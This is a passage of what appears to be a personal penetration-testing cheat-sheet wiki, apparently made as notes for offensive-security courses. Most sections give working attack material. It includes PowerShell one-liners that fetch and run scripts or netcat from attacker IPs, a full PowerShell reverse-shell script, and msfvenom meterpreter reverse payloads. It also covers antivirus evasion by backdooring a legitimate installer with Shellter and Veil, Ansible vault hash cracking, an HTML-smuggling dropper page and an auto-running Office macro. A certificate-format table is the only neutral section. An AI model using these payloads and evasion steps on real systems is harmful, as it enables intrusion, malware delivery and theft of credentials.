&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
iex (iwr &#039;10.10.14.9:9000/ipw.ps1&#039;) -UseBasicParsing&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Download a file and save it to location.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
powershell Invoke-WebRequest -outfile c:\windows\system32\spool\drivers\color\nc.exe -uri http://10.10.14.24/nc64.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Mini-reverseshell.ps1&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
$socket = new-object System.Net.Sockets.TcpClient(&#039;127.0.0.1&#039;, 413);&lt;br /&gt;
if($socket -eq $null){exit 1}&lt;br /&gt;
$stream = $socket.GetStream();&lt;br /&gt;
$writer = new-object System.IO.StreamWriter($stream);&lt;br /&gt;
$buffer = new-object System.Byte[] 1024;&lt;br /&gt;
$encoding = new-object System.Text.AsciiEncoding;&lt;br /&gt;
do&lt;br /&gt;
{&lt;br /&gt;
	$writer.Flush();&lt;br /&gt;
	$read = $null;&lt;br /&gt;
	$res = &amp;quot;&amp;quot;&lt;br /&gt;
	while($stream.DataAvailable -or $read -eq $null) {&lt;br /&gt;
		$read = $stream.Read($buffer, 0, 1024)&lt;br /&gt;
	}&lt;br /&gt;
	$out = $encoding.GetString($buffer, 0, $read).Replace(&amp;quot;`r`n&amp;quot;,&amp;quot;&amp;quot;).Replace(&amp;quot;`n&amp;quot;,&amp;quot;&amp;quot;);&lt;br /&gt;
	if(!$out.equals(&amp;quot;exit&amp;quot;)){&lt;br /&gt;
		$args = &amp;quot;&amp;quot;;&lt;br /&gt;
		if($out.IndexOf(&#039; &#039;) -gt -1){&lt;br /&gt;
			$args = $out.substring($out.IndexOf(&#039; &#039;)+1);&lt;br /&gt;
			$out = $out.substring(0,$out.IndexOf(&#039; &#039;));&lt;br /&gt;
			if($args.split(&#039; &#039;).length -gt 1){&lt;br /&gt;
                $pinfo = New-Object System.Diagnostics.ProcessStartInfo&lt;br /&gt;
                $pinfo.FileName = &amp;quot;cmd.exe&amp;quot;&lt;br /&gt;
                $pinfo.RedirectStandardError = $true&lt;br /&gt;
                $pinfo.RedirectStandardOutput = $true&lt;br /&gt;
                $pinfo.UseShellExecute = $false&lt;br /&gt;
                $pinfo.Arguments = &amp;quot;/c $out $args&amp;quot;&lt;br /&gt;
                $p = New-Object System.Diagnostics.Process&lt;br /&gt;
                $p.StartInfo = $pinfo&lt;br /&gt;
                $p.Start() | Out-Null&lt;br /&gt;
                $p.WaitForExit()&lt;br /&gt;
                $stdout = $p.StandardOutput.ReadToEnd()&lt;br /&gt;
                $stderr = $p.StandardError.ReadToEnd()&lt;br /&gt;
                if ($p.ExitCode -ne 0) {&lt;br /&gt;
                    $res = $stderr&lt;br /&gt;
                } else {&lt;br /&gt;
                    $res = $stdout&lt;br /&gt;
                }&lt;br /&gt;
			}&lt;br /&gt;
			else{&lt;br /&gt;
				$res = (&amp;amp;&amp;quot;$out&amp;quot; &amp;quot;$args&amp;quot;) | out-string;&lt;br /&gt;
			}&lt;br /&gt;
		}&lt;br /&gt;
		else{&lt;br /&gt;
			$res = (&amp;amp;&amp;quot;$out&amp;quot;) | out-string;&lt;br /&gt;
		}&lt;br /&gt;
		if($res -ne $null){&lt;br /&gt;
        $writer.WriteLine($res)&lt;br /&gt;
    }&lt;br /&gt;
	}&lt;br /&gt;
}While (!$out.equals(&amp;quot;exit&amp;quot;))&lt;br /&gt;
$writer.close();&lt;br /&gt;
$socket.close();&lt;br /&gt;
$stream.Dispose()&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Powershell location&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 64-bit Windows&lt;br /&gt;
%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe&lt;br /&gt;
# 32-bit (x86) Windows&lt;br /&gt;
%SystemRoot%\SysWOW64\WindowsPowerShell\v1.0\powershell.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== User enumeration ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
./kerbrute_linux_amd64 userenum -d  --dc  usernames.txt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Ansible ==&lt;br /&gt;
&lt;br /&gt;
[https://www.shellhacks.com/ansible-vault-encrypt-decrypt-string/ Ansible Vault: Encrypt | Decrypt a String - ShellHacks]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Run Ad-hoc command&lt;br /&gt;
ansible victims -a &amp;quot;whoami&amp;quot;&lt;br /&gt;
# Run ad-hoc command as root or other users&lt;br /&gt;
# If you don&#039;t specify user it will default to root.&lt;br /&gt;
ansible victims -a &amp;quot;whoami&amp;quot; --become&lt;br /&gt;
&lt;br /&gt;
##  Crack Ansible hash&lt;br /&gt;
# Notice the spaces between AES256 and 666...&lt;br /&gt;
cat test.yml &amp;gt;&lt;br /&gt;
$ANSIBLE_VAULT;1.1;AES256&lt;br /&gt;
666437336533356566623438326334393535653438393865386437636435313430653666616336346262313438663539373565646533383430326130313532380a316132313636383633386532333765373238383430383937383138316361636436386231623236306564343464333466646132333930366638663531343866380a31363435333133333162356530383332366362326561613163393462313462656439343264376638643033633037666534656631333963333638326131653764&lt;br /&gt;
# Convert to readable hash&lt;br /&gt;
https://github.com/willstruggle/john/blob/master/ansible2john.py&lt;br /&gt;
python3 ansible2john.py test.yml &amp;gt; ansiblehash&lt;br /&gt;
cat ansiblehash &amp;gt;&lt;br /&gt;
$ansible$0*0*9661a952b5822af9a210...&lt;br /&gt;
# Crack the hash using john or hashcat&lt;br /&gt;
john ansiblehash&lt;br /&gt;
hashcat ansiblehash --force --hash-type=16900 /usr/share/wordlists/rockyou.txt&lt;br /&gt;
# Decrypt vault&lt;br /&gt;
cat pw.txt &amp;gt;&lt;br /&gt;
$ANSIBLE_VAULT;1.1;AES256&lt;br /&gt;
666437336533356566623438326334393535653438393865386437636435313430653666616336346262313438663539373565646533383430326130313532380a316132313636383633386532333765373238383430383937383138316361636436386231623236306564343464333466646132333930366638663531343866380a31363435333133333162356530383332366362326561613163393462313462656439343264376638643033633037666534656631333963333638326131653764&lt;br /&gt;
cat pw.txt | ansible-vault decrypt&lt;br /&gt;
# Use the pass cracked from john or hashcat&lt;br /&gt;
Vault password:&lt;br /&gt;
lab&lt;br /&gt;
# Run the playbook&lt;br /&gt;
ansible-playbook playbook.yml --vault-password-file=vault.txt&lt;br /&gt;
# OR&lt;br /&gt;
ansible-playbook playbook.yml --ask-vault-pass&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Artifactory Jfrog ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://book.hacktricks.xyz/network-services-pentesting/pentesting-web/artifactory-hacking-guide&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Anti-Virus Evasion (Bypass) ==&lt;br /&gt;
&lt;br /&gt;
[https://book.hacktricks.xyz/windows-hardening/av-bypass https://book.hacktricks.xyz/windows-hardening/av-bypass]&lt;br /&gt;
&lt;br /&gt;
PWK chapter 17&lt;br /&gt;
&lt;br /&gt;
OSEP&lt;br /&gt;
&lt;br /&gt;
=== Test payload against AV ===&lt;br /&gt;
&lt;br /&gt;
https://virustotal.com (Don&#039;t use if you want you&#039;re payload to be detected. Virustotal sends a copy of payload to antiviurs vendors.&lt;br /&gt;
&lt;br /&gt;
https://antiscan.me&lt;br /&gt;
&lt;br /&gt;
=== Theory ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# On-Disk Evasion&lt;br /&gt;
- Packers&lt;br /&gt;
- Obfuscator&lt;br /&gt;
- Crypters&lt;br /&gt;
- Software protectors&lt;br /&gt;
# In-memory Evasion&lt;br /&gt;
- Remote Process Memory Injection&lt;br /&gt;
- Reflective DLL Injection&lt;br /&gt;
- Process Hollowing&lt;br /&gt;
- Inline hooking&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Shellter ===&lt;br /&gt;
&lt;br /&gt;
 Shellter is a dynamic shellcode injection tool and one of the most popular free tools capable of bypassing antivirus software.&lt;br /&gt;
&lt;br /&gt;
 It uses a number of novel and advanced techniques to essentially backdoor a valid and non-malicious executable file with a malicious shellcode payload.&lt;br /&gt;
&lt;br /&gt;
The free version only works for x86, not x64.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Install&lt;br /&gt;
sudo apt install shellter&lt;br /&gt;
apt install wine&lt;br /&gt;
# If error&lt;br /&gt;
dpkg --add-architecture i386 &amp;amp;&amp;amp; apt-get update &amp;amp;&amp;amp;&lt;br /&gt;
apt-get install wine32:i386&lt;br /&gt;
# Start&lt;br /&gt;
shellter&lt;br /&gt;
# Download a valid .exe file, ex spotify installer and load it into shellter.&lt;br /&gt;
/home/aghanim/downloads/SpotifySetup.exe&lt;br /&gt;
# Choose a payload from the list.&lt;br /&gt;
L&lt;br /&gt;
1&lt;br /&gt;
SET LHOST: IP&lt;br /&gt;
SET LPORT: PORT&lt;br /&gt;
# After shellter finishes injecting shellcode in the binary, transfer it to target and execute. You&#039;ll get a shell back but it will die when the installer is finished and the process is closed. To bypass this, we can use meterpreter &amp;quot;migrate&amp;quot;.&lt;br /&gt;
set AutoRunScript post/windows/manage/migrate&lt;br /&gt;
-----------------------&lt;br /&gt;
# You can also set custom payload&lt;br /&gt;
# First generate a binary file with msfvenom. -e is the encoding we&#039;re using, and -i is the number of iterations. (The number of times to encode the payload)&lt;br /&gt;
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.11.0.4 LPORT=80 -e x86/shikata_ga_nai -i 7 -f raw &amp;gt; met.bin&lt;br /&gt;
# Start shellter&lt;br /&gt;
Choose Operation Mode - Auto/Manual (A/M/H): A&lt;br /&gt;
PE Target: /home/kali/poultry/whoami.exe&lt;br /&gt;
**********&lt;br /&gt;
* Backup *&lt;br /&gt;
**********&lt;br /&gt;
Backup: Shellter_Backups\whoami.exe&lt;br /&gt;
...&lt;br /&gt;
Filtering Time Approx: 0.0024 mins.&lt;br /&gt;
Enable Stealth Mode? (Y/N/H): N&lt;br /&gt;
************&lt;br /&gt;
* Payloads *&lt;br /&gt;
************&lt;br /&gt;
[1] Meterpreter_Reverse_TCP   [stager]&lt;br /&gt;
[2] Meterpreter_Reverse_HTTP  [stager]&lt;br /&gt;
[3] Meterpreter_Reverse_HTTPS [stager]&lt;br /&gt;
[4] Meterpreter_Bind_TCP      [stager]&lt;br /&gt;
[5] Shell_Reverse_TCP         [stager]&lt;br /&gt;
[6] Shell_Bind_TCP            [stager]&lt;br /&gt;
[7] WinExec&lt;br /&gt;
Use a listed payload or custom? (L/C/H): C&lt;br /&gt;
Select Payload: /home/kali/poultry/met.bin&lt;br /&gt;
Is this payload a reflective DLL loader? (Y/N/H): N&lt;br /&gt;
****************&lt;br /&gt;
* Payload Info *&lt;br /&gt;
****************&lt;br /&gt;
...&lt;br /&gt;
Injection: Verified!&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-10-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2022-10-image-2.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== Veil Framework ===&lt;br /&gt;
&lt;br /&gt;
Veil is a tool designed to generate metasploit payloads that bypass common anti-virus solutions. It replaces the package veil-evasion.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Install&lt;br /&gt;
# https://github.com/Veil-Framework/Veil&lt;br /&gt;
apt -y install veil&lt;br /&gt;
/usr/share/veil/config/setup.sh --force --silent&lt;br /&gt;
# If error with (wine) python pip peefile version fix with this&lt;br /&gt;
vim /usr/share/veil/config/setup.sh&lt;br /&gt;
Change line 587 to:&lt;br /&gt;
sudo -u &amp;quot;${trueuser}&amp;quot; WINEPREFIX=&amp;quot;${winedir}&amp;quot; wine &amp;quot;${winedir}/drive_c/Python34/python.exe&amp;quot; &amp;quot;-m&amp;quot; &amp;quot;pip&amp;quot; &amp;quot;install&amp;quot; &amp;quot;-Iv&amp;quot; &amp;quot;pefile==2019.4.18&amp;quot;&lt;br /&gt;
Then, run # veil --setup again.&lt;br /&gt;
&lt;br /&gt;
# Start veil&lt;br /&gt;
veil&lt;br /&gt;
# or&lt;br /&gt;
/usr/share/veil/Veil.py&lt;br /&gt;
# Available Commands:&lt;br /&gt;
        exit                    Completely exit Veil&lt;br /&gt;
        info                    Information on a specific tool&lt;br /&gt;
        list                    List available tools&lt;br /&gt;
        options                 Show Veil configuration&lt;br /&gt;
        update                  Update Veil&lt;br /&gt;
        use                     Use a specific tool&lt;br /&gt;
&lt;br /&gt;
# Generate a powershell script (bat file) for evasion&lt;br /&gt;
veil &amp;gt; use evasion&lt;br /&gt;
# List payloads&lt;br /&gt;
veil &amp;gt; list&lt;br /&gt;
# Use powershell rev tcp payload&lt;br /&gt;
veil/evasion &amp;gt; use powershell/meterpreter/rev_tcp.py&lt;br /&gt;
# List options&lt;br /&gt;
[powershell/meterpreter/rev_tcp&amp;gt;&amp;gt;]: options&lt;br /&gt;
# Generate payload&lt;br /&gt;
[powershell/meterpreter/rev_tcp&amp;gt;&amp;gt;]: generate&lt;br /&gt;
&lt;br /&gt;
# From pic below, payload is in /var/lib/veil/output/source/ folder&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2022-10-image-3.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
=== Ebowla ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
https://github.com/Genetic-Malware/Ebowla&lt;br /&gt;
# Use it to obfuscate payloads like JuicyPotato or other exploits.&lt;br /&gt;
# Quick demo&lt;br /&gt;
https://www.youtube.com/watch?v=rRm3O7w5GHg&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== API ==&lt;br /&gt;
&lt;br /&gt;
[https://github.com/assetnote/kiterunner assetnote/kiterunner: Contextual Content Discovery Tool]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Need to have golang installed&lt;br /&gt;
apt-get install golang&lt;br /&gt;
# build the binary&lt;br /&gt;
make build&lt;br /&gt;
# symlink your binary&lt;br /&gt;
ln -s $(pwd)/dist/kr /usr/local/bin/kr&lt;br /&gt;
# compile the wordlist&lt;br /&gt;
# kr kb compile&lt;br /&gt;
kr kb compile routes.json routes.kite&lt;br /&gt;
# scan away&lt;br /&gt;
kr scan hosts.txt -w routes.kite -x 20 -j 100 --ignore-length=1053&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Buffer overflow ==&lt;br /&gt;
&lt;br /&gt;
https://blog.aghanim.net/?p=1932&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Browser exploits ==&lt;br /&gt;
&lt;br /&gt;
=== Firefox ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Extract passwords from profile&lt;br /&gt;
https://github.com/unode/firefox_decrypt&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Client-Side Code Execution ==&lt;br /&gt;
&lt;br /&gt;
=== HTML Smuggeling ===&lt;br /&gt;
&lt;br /&gt;
HTML Smuggeling is when a victim clicks on a malicious link and JavaScript code inside the website will use HTML smuggeling to automatically save the dropper file. The technique uses the HTML5 anchor tag download attribute instructs the&lt;br /&gt;
browser to automatically download a file when a user clicks the assigned hyperlink.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
In the example below I will create a dropper file, and host a website which automatically downloads my dropper once the victim clicks on the link using the HTML code below.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Generate a staged payload using msfvenom.&lt;br /&gt;
sudo msfvenom -p windows/x64/meterpreter/reverse_https LHOST=192.168.1.126 LPORT=443 -f exe -o msfstaged.exe&lt;br /&gt;
# Saved it as base64 as to not lose any data.&lt;br /&gt;
base64 msfstaged.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;markup&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
		function base64ToArrayBuffer(base64) {&lt;br /&gt;
			var binary_string = window.atob(base64);&lt;br /&gt;
			var len = binary_string.length;&lt;br /&gt;
			var bytes = new Uint8Array( len );&lt;br /&gt;
			for (var i = 0; i&lt;br /&gt;
			var file =&amp;quot;TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAA...&amp;quot;&lt;br /&gt;
			var data = base64ToArrayBuffer(file);&lt;br /&gt;
			var blob = new Blob([data], {type: &#039;octet/stream&#039;});&lt;br /&gt;
			var fileName = &#039;msfstaged.exe&#039;;&lt;br /&gt;
&lt;br /&gt;
			var a = document.createElement(&#039;a&#039;);&lt;br /&gt;
			document.body.appendChild(a);&lt;br /&gt;
			a.style = &#039;display: none&#039;;&lt;br /&gt;
			var url = window.URL.createObjectURL(blob);&lt;br /&gt;
			a.href = url;&lt;br /&gt;
			a.download = fileName;&lt;br /&gt;
			a.click();&lt;br /&gt;
			window.URL.revokeObjectURL(url);&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-02-image.png|thumb|When the victim clicks a link in our phishing mail it will automatically download the dropper file onto the victim machine.]]&lt;br /&gt;
&lt;br /&gt;
=== Microsoft Office Macro Client-side Attack ===&lt;br /&gt;
&lt;br /&gt;
https://blog.aghanim.net/?page_id=1809#Microsoft_Word&lt;br /&gt;
&lt;br /&gt;
==== Visual Basic for Applications  [VBA] ====&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;visual&amp;quot;&amp;gt;&lt;br /&gt;
&#039;VBA Datatype&lt;br /&gt;
&#039;Dim is used to declare variables&lt;br /&gt;
Dim myString As String # Unicode&lt;br /&gt;
Dim myLong As Long # 64-bit integer&lt;br /&gt;
Dim myPointer As LongPtr # Memory pointer&lt;br /&gt;
&#039;Example - if and else statement&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
Dim myLong As Long&lt;br /&gt;
myLong = 1&lt;br /&gt;
If myLong &amp;lt; 5 Then&lt;br /&gt;
   MsgBox (&amp;quot;True&amp;quot;)&lt;br /&gt;
Else&lt;br /&gt;
   MsgBox (&amp;quot;False&amp;quot;)&lt;br /&gt;
End If&lt;br /&gt;
End Sub&lt;br /&gt;
&lt;br /&gt;
&#039;Example - Launch cmd.exe with a hidden window&lt;br /&gt;
Sub Document_Open()&lt;br /&gt;
   MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub AutoOpen()&lt;br /&gt;
   MyMacro&lt;br /&gt;
End Sub&lt;br /&gt;
Sub MyMacro()&lt;br /&gt;
   Dim str As String&lt;br /&gt;
   str = &amp;quot;cmd.exe&amp;quot;&lt;br /&gt;
   Shell str, vbHide&lt;br /&gt;
End Sub&lt;br /&gt;
&#039;The picture below show the cmd.exe running as a child process of winword.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-02-image-1.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Certificate Types ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Extension&lt;br /&gt;
! Full Name&lt;br /&gt;
! Contains&lt;br /&gt;
! Format&lt;br /&gt;
! Common Use&lt;br /&gt;
! Use Case&lt;br /&gt;
! Real-World Example&lt;br /&gt;
|-&lt;br /&gt;
| .cer&lt;br /&gt;
| Certificate&lt;br /&gt;
| Public key&lt;br /&gt;
| Usually in DER or PEM&lt;br /&gt;
| Sharing or installing public keys&lt;br /&gt;
| Installing trusted root or intermediate certificates on a system or server to verify SSL/TLS certificates&lt;br /&gt;
| Adding a trusted certificate in Windows to access a secure corporate intranet site&lt;br /&gt;
|-&lt;br /&gt;
| .pem&lt;br /&gt;
| Privacy Enhanced Mail&lt;br /&gt;
| Certificates and/or private keys&lt;br /&gt;
| Base64 encoded text (PEM)&lt;br /&gt;
| SSL certificates and private keys, commonly used in web servers&lt;br /&gt;
| Configuring SSL/TLS for web servers like Apache or Nginx by providing both the certificate and private key&lt;br /&gt;
| Configuring SSL/TLS for an Nginx web server for your website by specifying .pem files for SSL security&lt;br /&gt;
|-&lt;br /&gt;
| .crt&lt;br /&gt;
| Certificate&lt;br /&gt;
| Public key&lt;br /&gt;
| Usually in PEM or DER&lt;br /&gt;
| Similar to .cer, used for certificates in web servers&lt;br /&gt;
| Installing SSL/TLS certificates on websites to secure connections (often paired with .key files)&lt;br /&gt;
| Installing an SSL/TLS certificate from Let&#039;s Encrypt (.crt) to secure your website and enable HTTPS&lt;br /&gt;
|-&lt;br /&gt;
| .pfx&lt;br /&gt;
| Personal Information Exchange&lt;br /&gt;
| Private key and certificate (often password-protected)&lt;br /&gt;
| Binary (PFX)&lt;br /&gt;
| Bundling a private key with a certificate, used for importing/exporting certificates&lt;br /&gt;
| Importing a certificate with a private key into Windows servers or applications, such as IIS or to share with others in a secure manner&lt;br /&gt;
| Importing a .pfx file into Microsoft IIS to enable secure HTTPS for a web server hosting an internal application or signing an executable file&lt;br /&gt;
|-&lt;br /&gt;
| .key&lt;br /&gt;
| Private Key File&lt;br /&gt;
| Private key&lt;br /&gt;
| Text (usually PEM)&lt;br /&gt;
| Storing private keys for SSL certificates, often paired with .crt files&lt;br /&gt;
| Configuring SSL/TLS for web servers like Apache or Nginx by providing the private key for the SSL certificate&lt;br /&gt;
| Using a .key file along with a .crt file to configure HTTPS for a website&lt;br /&gt;
|-&lt;br /&gt;
| .der&lt;br /&gt;
| Distinguished Encoding Rules&lt;br /&gt;
| Certificate or private key in binary&lt;br /&gt;
| Binary (DER)&lt;br /&gt;
| Storing certificates or private keys in binary format&lt;br /&gt;
| Used in environments where certificates or keys need to be in a compact, binary format&lt;br /&gt;
| Using a .der file to import a certificate in Windows or Java environments&lt;br /&gt;
|-&lt;br /&gt;
| .csr&lt;br /&gt;
| Certificate Signing Request&lt;br /&gt;
| Information about an entity requesting a certificate&lt;br /&gt;
| Text (usually PEM)&lt;br /&gt;
| Requesting an SSL/TLS certificate from a Certificate Authority (CA)&lt;br /&gt;
| Generating a .csr to request an SSL/TLS certificate from a CA like Let&#039;s Encrypt&lt;br /&gt;
| Creating a .csr file to obtain an SSL certificate for your website&lt;br /&gt;
|-&lt;br /&gt;
| .p7b or .p7c&lt;br /&gt;
| PKCS#7 Certificate File&lt;br /&gt;
| Certificates in chain (no private key)&lt;br /&gt;
| Base64 or Binary&lt;br /&gt;
| Sharing a certificate chain&lt;br /&gt;
| Importing a full certificate chain in environments like Java keystores&lt;br /&gt;
| Using a .p7b file to import a complete certificate chain into a Java KeyStore for a Tomcat server&lt;br /&gt;
|-&lt;br /&gt;
| .jks&lt;br /&gt;
| Java KeyStore&lt;br /&gt;
| Private keys and certificates&lt;br /&gt;
| Binary (JKS)&lt;br /&gt;
| Storing certificates and private keys in Java environments&lt;br /&gt;
| Storing certificates and keys for Java-based applications like Tomcat&lt;br /&gt;
| Using a .jks file to configure SSL/TLS in a Java application server like Tomcat&lt;br /&gt;
|}&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Command and control - C2 framework ==&lt;br /&gt;
&lt;br /&gt;
=== Covenant ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/cobbr/Covenant&lt;br /&gt;
# Installation and running&lt;br /&gt;
git clone --recurse-submodules https://github.com/cobbr/Covenant&lt;br /&gt;
# Be sure to install the dotnet core version 3.1 SDK!&lt;br /&gt;
# Build and run convenant&lt;br /&gt;
$ ~ &amp;gt; git clone --recurse-submodules https://github.com/cobbr/Covenant&lt;br /&gt;
$ ~ &amp;gt; cd Covenant/Covenant&lt;br /&gt;
$ ~/Covenant/Covenant &amp;gt; dotnet run&lt;br /&gt;
warn: Microsoft.EntityFrameworkCore.Model.Validation[10400]&lt;br /&gt;
      Sensitive data logging is enabled. Log entries and exception messages may include sensitive application data, this mode should only be enabled during development.&lt;br /&gt;
WARNING: Running Covenant non-elevated. You may not have permission to start Listeners on low-numbered ports. Consider running Covenant elevated.&lt;br /&gt;
Covenant has started! Navigate to https://127.0.0.1:7443 in a browser&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Powershell-empire (And starkiller) ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# https://github.com/EmpireProject/Empire&lt;br /&gt;
# Installation and running&lt;br /&gt;
sudo ./setup/install.sh&lt;br /&gt;
# Or&lt;br /&gt;
sudo apt install powershell-empire&lt;br /&gt;
# Starkiller&lt;br /&gt;
# https://github.com/BC-SECURITY/Starkiller&lt;br /&gt;
# Starkiller is a Frontend for Powershell Empire.&lt;br /&gt;
# Change the permissions&lt;br /&gt;
chmod a+x starkiller-.AppImage&lt;br /&gt;
# Then execute&lt;br /&gt;
./starkiller-.AppImage --no-sandbox&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Meterpreter ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Log location&lt;br /&gt;
~/.msf4/logs/framework.log&lt;br /&gt;
# DBMS used is postgresql.&lt;br /&gt;
# If IOError, check logs. If Postgresql, check the postgresql logs at:&lt;br /&gt;
/var/log/postgresql/...&lt;br /&gt;
# Initialize db&lt;br /&gt;
msfdb init # only if needed&lt;br /&gt;
# Metasploit location&lt;br /&gt;
/opt/metasploit-framework/embedded/framework/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
== Compiling exploits ==&lt;br /&gt;
&lt;br /&gt;
=== Compile .asm to elf ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
nasm -f elf64 thm.asm&lt;br /&gt;
ld thm.o -o thm&lt;br /&gt;
./thm&lt;br /&gt;
THM,Rocks!&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Compile .cpp to .exe ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
i686-w64-mingw32-g++ -o test.exe challenge-8.cpp&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Compile .cs to .exe ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# Using csc&lt;br /&gt;
csc payload.cs&lt;br /&gt;
# Using mono - https://www.mono-project.com/&lt;br /&gt;
mcs payload.cs&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Compile .c to .exe ===&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
## Create 32-bit Windows executable with:&lt;br /&gt;
i686-w64-mingw32-gcc -o main32.exe main.c&lt;br /&gt;
## Create 64-bit Windows executable with:&lt;br /&gt;
x86_64-w64-mingw32-gcc -o main64.exe main.c&lt;br /&gt;
# Flags:&lt;br /&gt;
